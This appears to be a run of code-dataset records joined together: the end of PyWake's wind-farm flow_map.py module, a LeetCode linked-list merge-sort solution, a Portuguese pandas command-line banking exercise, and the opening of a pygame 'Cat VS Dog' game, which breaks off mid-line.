Y.T[:, na, :]\n X = X.T[na, :, :]\n Y = np.reshape(localWind_j.y, X.shape)\n elif plane[0] == 'xyz':\n X = None\n Y = None\n H = None\n else:\n raise NotImplementedError()\n FlowBox.__init__(self, simulationResult, X, Y, H, localWind_j, WS_eff_jlk, TI_eff_jlk)\n\n # set flowMap.WS_xylk etc.\n if plane[0] == \"XY\":\n for k in ['WS_eff', 'TI_eff', 'WS', 'WD', 'TI', 'P']:\n setattr(self.__class__, \"%s_xylk\" % k, property(lambda self, k=k: self[k].isel(h=0)))\n elif plane[0] == \"YZ\":\n for k in ['WS_eff', 'TI_eff', 'WS', 'WD', 'TI', 'P']:\n self[k] = self[k].transpose('h', 'y', ...)\n setattr(self.__class__, \"%s_xylk\" % k,\n property(lambda self, k=k: self[k].isel(x=0).transpose('y', 'h', ...)))\n elif plane[0] == \"XZ\":\n for k in ['WS_eff', 'TI_eff', 'WS', 'WD', 'TI', 'P']:\n self[k] = self[k].transpose('h', 'x', ...)\n setattr(self.__class__, \"%s_xylk\" % k,\n property(lambda self, k=k: self[k].isel(x=0).transpose('x', 'h', ...)))\n elif plane[0] == \"xyz\":\n for k in ['WS_eff', 'TI_eff', 'WS', 'WD', 'TI', 'P']:\n setattr(self.__class__, \"%s_xylk\" % k, property(lambda self, k=k: self[k].ilk()))\n\n @property\n def XY(self):\n return self.X, self.Y\n\n def power_xylk(self, with_wake_loss=True, **wt_kwargs):\n if with_wake_loss:\n ws = self.WS_eff_xylk\n\n else:\n ws = self.WS_xylk\n\n power_xylk = self.windFarmModel.windTurbines.power(ws, **wt_kwargs)\n if self.plane[0] == \"xyz\":\n return power_xylk\n else:\n return xr.DataArray(power_xylk[:, :, na], self.coords, dims=['y', 'x', 'h', 'wd', 'ws'])\n\n def aep_xylk(self, normalize_probabilities=False, with_wake_loss=True, **wt_kwargs):\n \"\"\"Anual Energy Production of a potential wind turbine at all grid positions (x,y)\n for all wind directions (l) and wind speeds (k) in GWh.\n\n Parameters\n ----------\n normalize_propabilities : Optional bool, defaults to False\n In case only a subset of all wind speeds and/or wind directions is simulated,\n this parameter determines whether the returned AEP represents the energy produced in the fraction\n of a year where these flow cases occurs or a whole year of northern wind.\n If for example, wd=[0], then\n - False means that the AEP only includes energy from the faction of year\\n\n with northern wind (359.5-0.5deg), i.e. no power is produced the rest of the year.\n - True means that the AEP represents a whole year of northen wind.\n default is False\n with_wake_loss : Optional bool, defaults to True\n If True, wake loss is included, i.e. power is calculated using local effective wind speed\\n\n If False, wake loss is neglected, i.e. power is calculated using local free flow wind speed\n wt_type : Optional arguments\n Additional required/optional arguments needed by the WindTurbines to computer power, e.g. type, Air_density\n \"\"\"\n power_xylk = self.power_xylk(with_wake_loss, **wt_kwargs)\n P_xylk = self.P_xylk # .isel.ilk((1,) + power_xylk.shape[2:])\n if normalize_probabilities:\n P_xylk = P_xylk / P_xylk.sum(['wd', 'ws'])\n return power_xylk * P_xylk * 24 * 365 * 1e-9\n\n def aep_xy(self, normalize_probabilities=False, with_wake_loss=True, **wt_kwargs):\n \"\"\"Anual Energy Production of a potential wind turbine at all grid positions (x,y)\n (sum of all wind directions and wind speeds) in GWh.\n\n see aep_xylk\n \"\"\"\n return self.aep_xylk(normalize_probabilities, with_wake_loss, **wt_kwargs).sum(['wd', 'ws'])\n\n def plot(self, data, clabel, levels=100, cmap=None, plot_colorbar=True, plot_windturbines=True,\n normalize_with=1, ax=None):\n \"\"\"Plot data as contouf map\n\n Parameters\n ----------\n data : array_like\n 2D data array to plot\n clabel : str\n colorbar label\n levels : int or array-like, default 100\n Determines the number and positions of the contour lines / regions.\n If an int n, use n data intervals; i.e. draw n+1 contour lines. The level heights are automatically chosen.\n If array-like, draw contour lines at the specified levels. The values must be in increasing order.\n cmap : str or Colormap, defaults 'Blues_r'.\n A Colormap instance or registered colormap name.\n The colormap maps the level values to colors.\n plot_colorbar : bool, default True\n if True (default), colorbar is drawn\n plot_windturbines : bool, default True\n if True (default), lines/circles showing the wind turbine rotors are plotted\n ax : pyplot or matplotlib axes object, default None\n \"\"\"\n if cmap is None:\n cmap = 'Blues_r'\n if ax is None:\n ax = plt.gca()\n n = normalize_with\n if self.plane[0] in ['XZ', 'YZ']:\n if self.plane[0] == \"YZ\":\n y = self.y.values\n x = np.zeros_like(y) + self.plane[1]\n z = self.simulationResult.windFarmModel.site.elevation(x, y)\n c = ax.contourf(self.X / n, (self.Y + z) / n, data.isel(x=0), levels=levels, cmap=cmap)\n elif self.plane[0] == 'XZ':\n x = self.x.values\n y = np.zeros_like(x) + self.plane[1]\n z = self.simulationResult.windFarmModel.site.elevation(x, y)\n c = ax.contourf(self.X / n, (self.Y + z) / n, data.isel(y=0), levels=levels, cmap=cmap)\n\n if plot_colorbar:\n plt.colorbar(c, label=clabel, ax=ax)\n # plot terrain\n y = np.arange(y.min(), y.max())\n x = np.zeros_like(y) + self.plane[1]\n z = self.simulationResult.windFarmModel.site.elevation(x, y)\n ax.plot(y / n, z / n, 'k')\n elif self.plane[0] == 'XY':\n\n # xarray gives strange levels\n # c = data.isel(h=0).plot(levels=levels, cmap=cmap, ax=ax, add_colorbar=plot_colorbar)\n c = ax.contourf(self.X / n, self.Y / n, data.squeeze().values, levels=levels, cmap=cmap)\n if plot_colorbar:\n plt.colorbar(c, label=clabel, ax=ax)\n else:\n raise NotImplementedError(\n f\"Plot not supported for FlowMaps based on Points. Use XYGrid, YZGrid or XZGrid instead\")\n\n if plot_windturbines:\n self.plot_windturbines(normalize_with=normalize_with, ax=ax)\n plt.axis('equal')\n return c\n\n def plot_windturbines(self, normalize_with=1, ax=None):\n fm = self.windFarmModel\n\n # mean over wd and ws if present\n x_i = self.simulationResult.x.mean(set(self.simulationResult.x.dims) - {'wt'}).values\n y_i = self.simulationResult.y.mean(set(self.simulationResult.x.dims) - {'wt'}).values\n type_i = self.simulationResult.type.data\n if self.plane[0] in ['XZ', \"YZ\"]:\n h_i = self.simulationResult.h.values\n x_ilk, y_ilk = self.simulationResult.x.ilk(), self.simulationResult.y.ilk()\n\n z_ilk = self.simulationResult.windFarmModel.site.elevation(x_ilk, y_ilk)\n for l in range(x_ilk.shape[1]):\n for k in range(x_ilk.shape[2]):\n\n wd = self.wd.values[l] - 90\n\n def get(n):\n shape = (len(x_ilk),\n len(np.atleast_1d(self.simulationResult.wd)),\n len(np.atleast_1d(self.simulationResult.ws)))\n if n not in self.simulationResult:\n return 0\n v = self.simulationResult[n].ilk(shape)\n return v[:, l, k]\n yaw, tilt = get('yaw'), get('tilt')\n if self.plane[0] == 'XZ':\n fm.windTurbines.plot_yz(x_ilk[:, l, k], z_ilk[:, l, k], h_i, types=type_i, wd=wd, yaw=yaw, tilt=tilt,\n normalize_with=normalize_with, ax=ax)\n else:\n fm.windTurbines.plot_yz(y_i, z_ilk[:, l, k], h_i, types=type_i, wd=self.wd, yaw=yaw, tilt=tilt,\n normalize_with=normalize_with, ax=ax)\n else: # self.plane[0] == \"XY\":\n def get(k):\n if k not in self.simulationResult:\n return 0\n v = self.simulationResult[k]\n if 'wd' in v.dims:\n v = v.sel(wd=self.wd[0])\n if 'ws' in v.dims:\n v = v.mean(['ws'])\n return v.data\n\n yaw, tilt = get('yaw'), get('tilt')\n fm.windTurbines.plot_xy(x_i, y_i, type_i,\n wd=self.wd.values, yaw=yaw, tilt=tilt, normalize_with=normalize_with, ax=ax)\n\n def plot_wake_map(self, levels=100, cmap=None, plot_colorbar=True, plot_windturbines=True,\n normalize_with=1, ax=None):\n \"\"\"Plot effective wind speed contourf map\n\n Parameters\n ----------\n levels : int or array-like, default 100\n Determines the number and positions of the contour lines / regions.\n If an int n, use n data intervals; i.e. draw n+1 contour lines. The level heights are automatically chosen.\n If array-like, draw contour lines at the specified levels. The values must be in increasing order.\n cmap : str or Colormap, defaults 'Blues_r'.\n A Colormap instance or registered colormap name.\n The colormap maps the level values to colors.\n plot_colorbar : bool, default True\n if True (default), colorbar is drawn\n plot_windturbines : bool, default True\n if True (default), lines/circles showing the wind turbine rotors are plotted\n ax : pyplot or matplotlib axes object, default None\n \"\"\"\n sum_dims = [d for d in ['wd', 'time', 'ws'] if d in self.P.dims]\n WS_eff = (self.WS_eff * self.P / self.P.sum(sum_dims)).sum(sum_dims)\n\n return self.plot(WS_eff, clabel='wind speed [m/s]',\n levels=levels, cmap=cmap, plot_colorbar=plot_colorbar,\n plot_windturbines=plot_windturbines, normalize_with=normalize_with, ax=ax)\n\n def plot_ti_map(self, levels=100, cmap=None, plot_colorbar=True, plot_windturbines=True, ax=None):\n \"\"\"Plot effective turbulence intensity contourf map\n\n Parameters\n ----------\n levels : int or array-like, default 100\n Determines the number and positions of the contour lines / regions.\n If an int n, use n data intervals; i.e. draw n+1 contour lines. The level heights are automatically chosen.\n If array-like, draw contour lines at the specified levels. The values must be in increasing order.\n cmap : str or Colormap, defaults 'Blues'.\n A Colormap instance or registered colormap name.\n The colormap maps the level values to colors.\n plot_colorbar : bool, default True\n if True (default), colorbar is drawn\n plot_windturbines : bool, default True\n if True (default), lines/circles showing the wind turbine rotors are plotted\n ax : pyplot or matplotlib axes object, default None\n\n \"\"\"\n if cmap is None:\n cmap = 'Blues'\n c = self.plot(self.TI_eff.mean(['wd', 'ws']), clabel=\"Turbulence intensity [-]\",\n levels=levels, cmap=cmap, plot_colorbar=plot_colorbar,\n plot_windturbines=plot_windturbines, ax=ax)\n\n return c\n\n def min_WS_eff(self, x=None, h=None):\n if x is None:\n x = self.x\n if h is None:\n h = self.h[0].item()\n WS_eff = self.WS_eff.sel_interp_all(xr.Dataset(coords={'x': x, 'h': h}))\n y = WS_eff.y.values\n\n def get_min(y, v):\n i = np.argmin(v)\n s = slice(i - 3, i + 4)\n if len(v[s]) < 7 or len(np.unique(v[s])) == 1:\n return np.nan\n# import matplotlib.pyplot as plt\n# plt.plot(y, v)\n# y_ = np.linspace(y[s][0], y[s][-1], 100)\n# plt.plot(y_, InterpolatedUnivariateSpline(y[s], v[s])(y_))\n# plt.axvline(np.interp(0, InterpolatedUnivariateSpline(y[s], v[s]).derivative()(y[s]), y[s]))\n# plt.axvline(0, color='k')\n# plt.show()\n return np.interp(0, InterpolatedUnivariateSpline(y[s], v[s]).derivative()(y[s]), y[s])\n\n y_min_ws = [get_min(y, ws) for ws in WS_eff.squeeze(['ws', 'wd']).T.values]\n return xr.DataArray(y_min_ws, coords={'x': x, 'h': h}, dims='x')\n\n def plot_deflection_grid(self, normalize_with=1, ax=None):\n assert self.windFarmModel.deflectionModel is not None\n assert len(self.simulationResult.wt) == 1\n assert len(self.simulationResult.ws) == 1\n assert len(self.simulationResult.wd) == 1\n x, y = self.x, self.y\n y = y[::len(y) // 10]\n\n X, Y = np.meshgrid(x, y)\n\n from py_wake.utils.model_utils import get_model_input\n kwargs = get_model_input(self.windFarmModel, X.flatten(), Y.flatten(), ws=self.ws, wd=self.wd,\n yaw=self.simulationResult.yaw.ilk(), tilt=self.simulationResult.tilt.ilk())\n hcw = self.windFarmModel.deflectionModel.calc_deflection(**kwargs)[1]\n Yp = -hcw[0, :, 0, 0].reshape(X.shape)\n ax = ax or plt.gca()\n X, Y, Yp = [v / normalize_with for v in [X, Y, Yp]]\n # ax.plot(X[255, :], Y[255, :], 'grey', lw=3)\n for x, y, yp in zip(X, Y, Yp):\n ax.plot(x, y, 'grey', lw=1, zorder=-32)\n ax.plot(x, yp, 'k', lw=1)\n\n\nclass Grid():\n default_resolution = 500\n\n\nclass HorizontalGrid(Grid):\n\n def __init__(self, x=None, y=None, h=None, resolution=None, extend=.2):\n \"\"\"Generate a horizontal grid for a flow map\n\n Parameters\n ----------\n x : array_like, optional\n x coordinates used for generating meshgrid\\n\n y : array_like, optional\n y coordinates used for generating meshgrid\n h : array_like, optional\n height above ground, defaults to mean wind turbine hub height\n resolution : int or None, optional\n grid resolution if x or y is not specified. defaults to self.default_resolution\n extend : float, optional\n defines the oversize of the grid if x or y is not specified\n\n Notes\n -----\n if x or y is not specified then a grid with number of points\n covering the wind turbines + x range\n \"\"\"\n self.resolution = resolution or self.default_resolution\n self.x = x\n self.y = y\n self.h = h\n self.extend = extend\n self.plane = \"XY\", h\n\n def __call__(self, x_i, y_i, h_i, **_):\n # setup horizontal X,Y grid\n def f(x, N=self.resolution, ext=self.extend):\n ext *= np.max([1000, (np.max(x) - np.min(x))])\n return np.linspace(np.min(x) - ext, np.max(x) + ext, N)\n x, y, h = self.x, self.y, self.h\n if x is None:\n x = f(x_i)\n if y is None:\n y = f(y_i)\n if self.h is None:\n h = np.mean(h_i)\n else:\n h = self.h\n self.plane = \"XY\", h\n\n X, Y = np.meshgrid(x, y)\n H = np.broadcast_to(h, X.shape)\n return X, Y, X.flatten(), Y.flatten(), H.flatten()\n\n\nXYGrid = HorizontalGrid\n\n\nclass YZGrid(Grid):\n\n def __init__(self, x, y=None, z=None, resolution=None, extend=.2):\n \"\"\"Generate a vertical grid for a flow map in the yz-plane\n\n Parameters\n ----------\n x : array_like, optional\n x coordinate for the yz-grid\\n\n y : array_like, optional\n y coordinates used for generating meshgrid\n z : array_like, optional\n z coordinates(height above ground) used for generating meshgrid\n resolution : int or None, optional\n grid resolution if x or y is not specified. defaults to self.default_resolution\n extend : float, optional\n defines the oversize of the grid if x or y is not specified\n\n Notes\n -----\n if y or z is not specified then a grid with number of points\n covering the wind turbines + * range\n \"\"\"\n self.resolution = resolution or self.default_resolution\n self.x = x\n self.y = y\n self.z = z\n self.extend = extend\n self.plane = \"YZ\", x\n\n def __call__(self, x_i, y_i, h_i, d_i):\n # setup horizontal X,Y grid\n def f(x, N=self.resolution, ext=self.extend):\n ext *= max(1000, (np.max(x) - np.min(x)))\n return np.linspace(np.min(x) - ext, np.max(x) + ext, N)\n x, y, z = self.x, self.y, self.z\n if y is None:\n y = f(y_i)\n if self.z is None:\n z = np.arange(0, (1 + self.extend) * (h_i.max() + d_i.max() / 2), np.diff(y[:2])[0])\n else:\n z = self.z\n\n Y, Z = np.meshgrid(y, z)\n X = np.zeros_like(Y) + x\n return Y, Z, X.T.flatten(), Y.T.flatten(), Z.T.flatten()\n\n\nclass XZGrid(YZGrid):\n def __init__(self, y, x=None, z=None, resolution=None, extend=.2):\n \"\"\"Generate a vertical grid for a flow map in the xz-plane\n\n Parameters\n ----------\n y : array_like, optional\n y coordinate used for generating meshgrid\n x : array_like, optional\n x coordinatex for the yz-grid\\n\n z : array_like, optional\n z coordinates(height above ground) used for generating meshgrid\n resolution : int or None, optional\n grid resolution if x or y is not specified. defaults to self.default_resolution\n extend : float, optional\n defines the oversize of the grid if x or y is not specified\n\n Notes\n -----\n if x or z is not specified then a grid with number of points\n covering the wind turbines + * range\n \"\"\"\n YZGrid.__init__(self, x, y=y, z=z, resolution=resolution, extend=extend)\n self.plane = \"XZ\", y\n\n def __call__(self, x_i, y_i, h_i, d_i):\n # setup horizontal X,Y grid\n def f(x, N=self.resolution, ext=self.extend):\n ext *= max(1000, (np.max(x) - np.min(x)))\n return np.linspace(np.min(x) - ext, np.max(x) + ext, N)\n x, y, z = self.x, self.y, self.z\n if x is None:\n x = f(x_i)\n if self.z is None:\n z = np.arange(0, (1 + self.extend) * (h_i.max() + d_i.max() / 2), np.diff(x[:2])[0])\n else:\n z = self.z\n\n X, Z = np.meshgrid(x, z)\n Y = np.zeros_like(X) + y\n return X, Z, X.T.flatten(), Y.T.flatten(), Z.T.flatten()\n\n\nclass Points(Grid):\n def __init__(self, x, y, h):\n assert len(x) == len(y) == len(h)\n self.x = x\n self.y = y\n self.h = h\n self.plane = 'xyz', None\n\n def __call__(self, **_):\n return None, None, self.x, self.y, self.h\n","repo_name":"DTUWindEnergy/PyWake","sub_path":"py_wake/flow_map.py","file_name":"flow_map.py","file_ext":"py","file_size_in_byte":21927,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"2"} +{"seq_id":"41618303096","text":"# 병합정렬 이용\nfrom typing import Optional\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\nclass Solution:\n def mergeTwoLists(self, l1, l2):\n if l1 and l2:\n if l1.val > l2.val:\n l1, l2 = l2, l1\n l1.next = self.mergeTwoLists(l1.next, l2)\n return l1 or l2\n\n def sortList(self, head: Optional[ListNode]) -> Optional[ListNode]:\n if not (head and head.next):\n return head\n\n # 런너 기법 활용\n half, slow, fast = None, head, head\n while fast and fast.next:\n half, slow, fast = slow, slow.next, fast.next.next\n half.next = None\n\n # 분할 재귀 호출\n l1 = self.sortList(head)\n l2 = self.sortList(slow)\n result = self.mergeTwoLists(l1,l2)\n return result\n\n\n# ListNode(ListNode(4, ListNode(2, ListNode(1, ListNode(3)))))\n# print(sortList(ListNode()))\n\n# a = ListNode(-1)\n# b = ListNode(5)\n# c = ListNode(3)\n# d = ListNode(4)\n# e = ListNode(0)\n\na = ListNode(4)\nb = ListNode(2)\nc = ListNode(1)\nd = ListNode(3)\n\na.next = b\nb.next = c\nc.next = d\n#d.next = e\nSol = Solution()\nSol.sortList(a)\n\n\n# 원래 넣은 값 중 가장 작은 수를 갖는 값부터 출력해야 함\nwhile True:\n try:\n print(c.val)\n c = c.next\n except Exception as E:\n break","repo_name":"jyshin0926/Algorithm","sub_path":"LeetCode/Algorithm/정렬/148_Sort List.py","file_name":"148_Sort List.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"2"} +{"seq_id":"71465434930","text":"import pandas as pd\nfrom datetime import datetime as dt\nfrom time import sleep\nfrom random import randint\n\n\ndef to_float(valor: str) -> float:\n \"\"\"\n Função para transformar em 'float',\n com suporte a número REAIS com vírgula,\n validando o valor informado.\n\n Args:\n valor: valor a ser convertido\n Return:\n retorna o valor passado como argumento convertido para float\n \"\"\"\n valor = valor.replace(',', '.') # Formato BR para US\n # Tentando converter, validando com uma exceção.\n try:\n novo_valor = float(valor)\n except ValueError:\n print('Não é um valor numérico.')\n novo_valor = 0\n\n return novo_valor\n\ndef print_title(title: str):\n \"\"\"Exibição de título, padronizada\"\"\"\n print('-'*40)\n print(title.center(40, ' '))\n print('-'*40)\n\ndef get_saldo(df: pd.DataFrame) -> float:\n \"\"\"\n Saldo da conta contido no DataFrame\n Args:\n df: Dataframe com a coluna 'Valor' para as transições\n Returns:\n Saldo da conta obtido através do somatório dos valores\n \"\"\"\n saldo = df['Valor'].sum()\n\n return saldo\n\ndef get_qtd_saques(df: pd.DataFrame) -> int:\n \"\"\"\n Quantidade de saques da conta contido no DataFrame\n Args:\n df: Dataframe com a coluna 'Tipo de transação' para as transições 'Saque'\n Returns:\n Quantidade de 'Saques' encontrados no DataFrame\n \"\"\"\n\n qtd_linhas, qtd_colunas = df.loc[df['Tipo de transação'] == 'Saque'].shape\n\n return qtd_linhas\n\ndef get_extrato(df: pd.DataFrame, nome: str, conta: str):\n \"\"\"\n Imprime o extrato a partir do DataFrame com o histórico\n\n Args:\n df: hitórico de transações com 'Tipo de transação', 'Valor' e 'Data'\n nome: Nome do usuário que realiza a transação\n conta: Numero da conta em que a transação ocorre\n \"\"\"\n\n print_title(f'Extrato: {nome} - {conta}')\n\n # Cabeçalho\n print('Ação'.ljust(12), 'Valor (R$)'.ljust(12), 'Data e Hora'.ljust(18), sep='|')\n\n # Valores\n for _, registro in df.iterrows():\n print(\n registro['Tipo de transação'].ljust(12),\n f\"R$ {registro['Valor']}\".ljust(12),\n registro['Data'].strftime('%d/%m/%Y %H:%M:%S').ljust(18),\n sep='|'\n )\n\n print(f'O saldo final é: {get_saldo(df)}')\n\ndef validar_saque(df: pd.DataFrame) -> float:\n \"\"\"\n Valida o input de saque, caso: seja número, esteja acima do limite, ou do saldo\n\n Args:\n df: DataFrame com o histórico de transações\n Returns:\n Valor do saque se informado válido\n \"\"\"\n\n is_invalid = True\n valor_sacado = 0\n global LIMITE\n\n while is_invalid:\n valor_sacado = input('>>> R$ ')\n valor_sacado = to_float(valor_sacado)\n\n if valor_sacado <= 0:\n print('Informe um valor positivo para o saque: ')\n elif valor_sacado > LIMITE:\n print('O valor está acima do limite permitido!')\n print(f'Informe um valor abaido do limite diário de R$ {LIMITE}')\n elif valor_sacado > get_saldo(df):\n print('Saldo insuficiente!')\n if get_saldo(df) > LIMITE:\n print(f'Valor disponível de R$ {LIMITE}')\n else:\n print(f'Valor disponível de R$ {get_saldo(df)}')\n else:\n is_invalid = False\n\n return - valor_sacado # Deixando negativo para o df\n\ndef sacar(df: pd.DataFrame, nome: str, conta: str) -> pd.DataFrame:\n \"\"\"\n Operação de saque usando um Dataframe para realizar o registro\n Args:\n df: DataFrame com o histórico de transações\n nome: Nome do usuário que realiza a transação\n conta: Numero da conta em que a transação ocorre\n Return:\n DataFrame com o histórico de transações adicionado da transação, se bem sucedida\n \"\"\"\n print_title('Sacar')\n\n print('Informe o valor que deseja sacar: ')\n valor_sacado = validar_saque(df)\n\n df_nova_trasacao = pd.DataFrame({\n 'Usuário': [nome],\n 'Número da Conta': [conta],\n 'Tipo de transação': ['Saque'],\n 'Valor': [valor_sacado],\n 'Data': [dt.now()]\n })\n\n print('Seu saque foi realizado com sucesso!')\n # MOSTRAR NOVO SALDO\n\n return pd.concat([\n df,\n df_nova_trasacao\n ]).reset_index(drop=True)\n\ndef validar_deposito() -> float:\n \"\"\"\n Valida o input de depósito, caso seja um número positivo\n\n Returns:\n Valor do depósito se informado válido\n \"\"\"\n\n is_invalid = True\n valor_deposito = 0 # Inicializando para evitar problemas de escopo\n\n while is_invalid:\n valor_deposito = input('>>> R$ ')\n valor_deposito = to_float(valor_deposito) # Valida se é numérico\n\n if valor_deposito <= 0: # Apenas positivo\n print('Informe um valor positivo para o depósito: ')\n else:\n is_invalid = False\n\n return valor_deposito\n\ndef depositar(df: pd.DataFrame, nome: str, conta: str) -> pd.DataFrame:\n \"\"\"\n Operação de depósito usando um Dataframe para realizar o registro\n Args:\n df: DataFrame com o histórico de transações\n nome: Nome do usuário que realiza a transação\n conta: Numero da conta em que a transação ocorre\n Return:\n DataFrame com o histórico de transações adicionado da transação, se bem sucedida\n \"\"\"\n print_title('Depositar')\n\n print('Informe o valor que deseja depositar: ')\n valor_deposito = validar_deposito()\n\n df_nova_trasacao = pd.DataFrame({\n 'Usuário': [nome],\n 'Número da Conta': [conta],\n 'Tipo de transação': ['Depósito'],\n 'Valor': [valor_deposito],\n 'Data': [dt.now().strftime('%d/%m/%Y %H:%M:%S')]\n })\n\n print('Seu depósito foi realizado com sucesso!')\n # MOSTRAR NOVO SALDO\n\n return pd.concat([\n df,\n df_nova_trasacao\n ]).reset_index(drop=True)\n\ndef manipular_conta(df: pd.DataFrame, *, nome: str, conta: str) -> pd.DataFrame:\n \"\"\"\n Função encapsulada que oferece a interface para realizar\n tranzacões na conta escolhida\n\n Args:\n df: DataFrame com o histórico de trasações\n nome: Identificação do usuário\n conta: Identificação da conta\n\n Returns:\n DataFrame acrescido das transações realizadas\n \"\"\"\n\n menu_conta = \"\"\"\n MENU\n [1] Depositar\n [2] Sacar\n [3] Extrato\n [0] Voltar\n\n >>> \"\"\"\n\n # Aplicando filtro no histórico para um único usuário\n df_extrato = df.loc[\n (df['Usuário'] == nome) &\n (df['Número da Conta'] == conta)\n ]\n\n while True:\n opcao = input(menu_conta)\n\n if opcao == '0':\n break # Saíndo do loop e encerrando o programa\n\n elif opcao == '1': # Depositar\n # df_extrato = transacao('Depositar', df_extrato)\n df_extrato = depositar(df_extrato, nome, conta)\n\n elif opcao == '2': # Sacar\n # contando quantidade de Saques\n qtd_saques_realizados = get_qtd_saques(df_extrato)\n print(f'Saques realizados: {qtd_saques_realizados}')\n\n if qtd_saques_realizados >= LIMITE_SAQUES:\n print('Quantidade de saques diária atingida!')\n\n elif get_saldo(df_extrato) <= 0:\n print('Não há saldo na conta para realizar saques!')\n\n else:\n df_extrato = sacar(df_extrato, nome, conta)\n\n elif opcao == '3': # Ver extrato\n if df_extrato.empty:\n print('Nenhuma transação registrada!')\n else:\n get_extrato(df_extrato, nome, conta)\n\n else:\n print('Ainda estamos trabalhando nisso...')\n print('Escolha uma das opções no menu!')\n\n print('Voltando ao Menu danterior...')\n sleep(0.5)\n\n df = pd.concat([\n df,\n df_extrato\n ]).reset_index(drop=True)\n\n df = df.drop_duplicates()\n\n return df\n\ndef cadastrar_usuario(df: pd.DataFrame) -> pd.DataFrame:\n \"\"\"\n Realiza o cadastro do usuário\n\n Args:\n df: DataFrame com os dados de todos os cadastros\n\n Returns:\n DataFrame acrescido do novo usuário cadastrado\n \"\"\"\n\n print_title('Adicionar usuário')\n\n nome = input('Informe o nome do usuário: ')\n password = input('Informe uma senha para o usuário: ')\n data_cadastro = dt.now().strftime('%d/%m/%Y %H:%M:%S')\n\n df_novo_usuario = pd.DataFrame({\n 'Usuário': [nome],\n 'Senha': [password],\n 'Data de Cadastro': [data_cadastro]\n })\n\n print('Usuário adicionado com sucesso!')\n\n return pd.concat([\n df,\n df_novo_usuario\n ]).reset_index(drop=True)\n\ndef selecionar_usuario(df: pd.DataFrame) -> str:\n \"\"\"\n Interface de seleção de usuários cadastrados\n\n Args:\n df: DataFrame com as informações dos usuários\n\n Returns:\n Nome do usuário selecionado\n \"\"\"\n\n print('Selecione um usuário')\n for index, users in df.iterrows():\n print(f'[{index}]', users['Usuário'])\n\n id_selecionado = int(input('>>> '))\n usuario_selecionado = df.loc[id_selecionado, 'Usuário']\n\n return usuario_selecionado\n\ndef cadastrar_conta(df: pd.DataFrame, *, nome: str) -> pd.DataFrame:\n \"\"\"\n Cadastro de contas para um usuário já existente\n\n Args:\n df: DataFrame com as informações das contas\n nome: Identificação do usuário que esta realizando o cadastro\n\n Returns:\n DataFrame acrescido da nova conta cadastrada\n \"\"\"\n\n novo_numero_conta = str(randint(100000, 999999))\n # Garantir que seja único\n while novo_numero_conta in list(df['Número da Conta']):\n novo_numero_conta = str(randint(100000, 999999))\n\n df_nova_conta = pd.DataFrame({\n 'Número da Conta': [novo_numero_conta],\n 'Usuário': [nome],\n 'Data da Criação': [dt.now().strftime('%d/%m/%Y %H:%M:%S')]\n })\n\n print('Conta')\n print(df_nova_conta.to_string())\n\n while True:\n foi_confirmado = input('Você deseja confirmar a criação da conta? [Y/n]')\n\n if foi_confirmado == 'Y':\n print('Conta criada com sucesso!')\n\n return pd.concat([\n df,\n df_nova_conta\n ])\n elif foi_confirmado == 'n':\n print('Cancelando...')\n # sleep(10) # para ficar esperto rs\n sleep(1)\n print('A conta não foi criada!')\n return df\n\ndef selecionar_conta(df: pd.DataFrame, *, nome: str) -> str:\n \"\"\"\n Seleciona a conta baseado no cadastro de contas\n\n Args:\n df: DataFrame com as informações de todas as contas\n nome: Identificação do usuário cuja conta será escolhida\n\n Returns:\n Identificação da conta selecionada\n \"\"\"\n\n print('Selecione uma conta')\n df = df.loc[df['Usuário'] == nome].copy() # Apenas as contas desse usuário\n for index, users in df.iterrows():\n print(f'[{index}]', users['Usuário'], users['Número da Conta'])\n\n id_selecionado = int(input('>>> '))\n conta_selecionada = df.loc[id_selecionado, 'Número da Conta']\n\n return conta_selecionada\n\n\nif __name__ == '__main__':\n LIMITE = 500.0\n LIMITE_SAQUES = 3\n\n print_title(\"Bem-vindo ao DIO Banking!\")\n\n menu_principal = \"\"\"\n MENU\n [1] Adicionar usuário\n [2] Criar conta-corrente\n [3] Entrar em conta-corrente\n [0] Sair\n \n >>> \"\"\"\n\n df_usuarios = pd.DataFrame(columns=['Usuário', 'Senha', 'Data de Cadastro'])\n df_contas = pd.DataFrame(columns=['Número da Conta', 'Usuário', 'Data de Criação'])\n df_historico = pd.DataFrame(columns=['Usuário', 'Número da Conta', 'Tipo de transação', 'Valor', 'Data'])\n\n while True:\n opcao = input(menu_principal)\n\n if opcao == '0':\n break\n elif opcao == '1':\n # Adicionar usuário\n df_usuarios = cadastrar_usuario(df_usuarios)\n\n elif opcao == '2':\n # Abrir conta-corrente vinculada a um usuário\n nome_selecionado = selecionar_usuario(df_usuarios)\n df_contas = cadastrar_conta(df_contas, nome=nome_selecionado)\n\n elif opcao == '3':\n # Ingressar em conta-corrente\n nome_usuario = selecionar_usuario(df_usuarios)\n numero_conta = selecionar_conta(df_contas, nome=nome_usuario)\n df_historico = manipular_conta(df_historico, nome=nome_usuario, conta=numero_conta)\n else:\n print('Ainda estamos trabalhando nisso...')\n print('Escolha uma das opções no menu!')\n\n print('\\nObrigado por usar nossos serviços!\\n') # Bye\n sleep(1.375)\n","repo_name":"Wanderson-Fer/System-Banking-DIO","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12994,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"2273031642","text":"import pygame\nimport math\nimport random\nimport os\n\npygame.font.init()\n\nWIDTH, HEIGHT = 900, 500\nWIN = pygame.display.set_mode((WIDTH, HEIGHT))\npygame.display.set_caption(\"Cat VS Dog\")\n\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\nRED = (255, 0, 0)\nBLUE = (0, 0, 255)\nFPS = 60\nGRAV = 5\nBOX_LENGTH = 30\nBOX_FPS = 0.15\nPOWER_FACTOR = 4\nWALL_WIDTH = 30\nWALL_HEIGHT = HEIGHT//3\nWALL = pygame.Rect(WIDTH//2 - WALL_WIDTH//2, HEIGHT -\n WALL_HEIGHT, WALL_WIDTH, WALL_HEIGHT)\nWHITERECT = pygame.Rect(0, 0, WIDTH, 35)\nPOWERRECT1 = pygame.Rect(0, HEIGHT-230, 20, 230)\nPOWERRECT2 = pygame.Rect(WIDTH-20, HEIGHT-230, 20, 230)\nBLUE_POSX = 50\nBLUE_POSY = HEIGHT-15\nRED_POSX = 